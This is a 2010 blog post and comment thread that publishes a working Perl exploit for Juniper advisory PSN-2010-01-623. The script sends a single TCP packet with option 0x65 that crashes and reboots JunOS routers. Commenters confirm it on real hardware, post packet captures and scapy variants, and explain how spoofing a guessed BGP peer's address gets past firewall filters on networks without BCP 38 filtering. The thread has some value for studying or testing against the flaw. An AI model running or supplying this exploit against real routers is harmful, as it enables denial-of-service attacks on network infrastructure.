JunOS PSN-2010-01-623 Exploit
Written by jlgaddis on January 9, 2010 – 10:52 pm -This code works for me, over and over again. Let me know if it works for you. Sorry about the shitty quality of the video, all I had handy was my Blackberry.
UPDATE: I’ve posted a much better video of the crash in action.
$ cat junos-crash.pl
#!/usr/bin/perl
my $host = shift;
my $port = shift;
use Net::Packet qw($Env);
use Net::Packet::IPv4;
my $ip = Net::Packet::IPv4->new(dst => $host);
use Net::Packet::TCP;
my $tcp = Net::Packet::TCP->new(
dst => $port,
options => "\x65\x02\x01\x01",
);
use Net::Packet::Frame;
my $frame = Net::Packet::Frame->new(l3 => $ip, l4 => $tcp);
$frame->send;
Now can I see your advisory, Juniper?
UPDATE: Nevermind, Juniper, I found it.
Tags: hacking, internet, networking, security, software | 17 Comments »
January 10th, 2010 at 10:22 am
Trust me, there is nothing you are missing in the advisory.
January 10th, 2010 at 11:08 am
Yeah, I’ve seen it since I posted that.
January 10th, 2010 at 11:19 am
Does not crash JUNOS 10.0R2.10 on EX4200 switches.
January 10th, 2010 at 11:25 am
10.x is not affected.
January 10th, 2010 at 2:06 pm
So you hit the olive box on port TCP/23. Let’s say the box has telnet disabled, have you tried it on TCP/22 or TCP/80 if either of those are open? Have you tested it against the box with a firewall policy to deny that traffic to the box?
January 10th, 2010 at 3:04 pm
@munpeq — Works without fail on 22/TCP, 23/TCP, and 80/TCP as long as something is listening on those ports (see the video I just posted above). I’ve also been getting confirmations that it works on “real” Juniper hardware as well.
January 10th, 2010 at 3:06 pm
And what about the firewall policy denying management traffic?
I’ll try it out on the SRX sitting here for the hell of it.
January 10th, 2010 at 3:08 pm
@munpeq, since this is a single packet attack the attacker can send a packet from a source that would be permitted through the firewall filter. If you talk BGP these are not difficult to guess.
@jlgaddis, for some reason I cannot get this to work, tried your code, tried setting option 101 with noop noop in scapy, and tried two different targets running different JunOS versions. For some oddball reason if I do a tcpdump on the junos side and on my attacking side I see the packet go out but not into Junos… hmm.
January 10th, 2010 at 3:10 pm
@munpeq — Ahh, sorry, spaced trying that, though Juniper’s PSN says “The packet cannot be filtered with JUNOS’s firewall filter. A router receiving this specific TCP packet will crash and reboot.”
I’m inclined to believe them. In short, I think if you can get the TCP packet to the box, it’s game over.
Remember, the router doesn’t need to respond to the packet (and, actually, it won’t), so you can spoof it as well. If 1) you know a router is running BGP, 2) can find a BGP peer (not all that hard, really), and 3) they’re not adhering to BCP 38, then I think it’s safe to say you can probably take their router down.
Then again, if they’re not practicing basic security measures, well, maybe they needed this to kick their asses into gear. =)
January 10th, 2010 at 3:43 pm
@Ryan — where are doing packet captures at on the JunOS side? You have something hanging off of a SPAN port so that you can see traffic egressing a switch towards the JunOS box or doing it on JunOS itself or … ?
I don’t have physical JunOS hardware here to try it on, but it’s worked on multiple Olive boxes (real x86 hardware, not virtualized) and I’ve gotten word from others that it’s worked for them too.
Also, I just quickly hacked up scapy to send TCP packets w/ option kind 0×65 and that worked too.
January 10th, 2010 at 3:58 pm
@jlgaddis – something must be odd with my setup. This seems to be working for everyone else. On the JunOS side I was just consoled in doing a tcpdump as root in the shell. I just ran it again and saw my problem… I was dumping on fxp2.0 instead of fxp2. On the attacking side I was doing the same, just a tcpdump. I just edited the hex representation to change the options in scapy… and the the tcpdump looks the same for both the perl hack and scapy.
root@attacker:~# tcpdump -ni eth2 host 10.10.10.250 and port 23 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth2, link-type EN10MB (Ethernet), capture size 96 bytes
20:52:21.832968 In IP 10.10.10.249.20 > 10.10.10.250.23: S 0:0(0) win 8192 <opt-101:,nop,nop>
root@olive% tcpdump -ni fxp2 host 10.10.10.249 verbose output suppressed, use or for full protocol decode Listening on fxp2, capture size 96 bytes
15:49:18.200737 IP 10.10.10.249.20 > 10.10.10.250.23: S 0:0(0) win 8192 <opt-101:,nop,nop>
The destination address in my attack is the interface address rather than the loopback – should that make any difference?
January 10th, 2010 at 4:13 pm
@Ryan — would you care to e-mail me (jeremy@) a pcap of the packet you’re sending? From what you posted above, it looks like the header length (should be 24) and checksum aren’t correct, but I can’t be sure. Everything looks zero’d out except the source and destination ports, TCP flags, and the TCP option.
January 10th, 2010 at 4:14 pm
@Ryan — I tried to “recreate” your packet in scapy, but the resulting packet looked much different than what I would’ve expected from the output of your tcpdump.
January 10th, 2010 at 4:52 pm
[...] to see if I could find out the exact options needed. However before I found the magic combination, Jermey Gaddis posted a blog post describing which options need to be set. He also published an [...]
January 10th, 2010 at 5:02 pm
Hi,
I just tested this exploit in our lab on a M10 running JunOS 7.6R3.6.
In my tests it turns out that having a firewall filter does seem to block these packets without crashing the kernel. Of course it’s easy to spoof these packets, but still some form of protection.
See video here: http://www.toonk.nl/blog/?p=522
Did anyone else try this on a ‘real’ box running a firewall filter?
January 11th, 2010 at 10:37 pm
Hi, I just tried to send the spoofed packet to lab T640 router running 8.5R4.3, which destination address and ports and filled with a pre-brought-up BGP session, and the RE is also crashed.
January 12th, 2010 at 8:29 pm
Just Tried this with Scapy against the open ssh and http ports of 5.0.0r8.0 to no effect.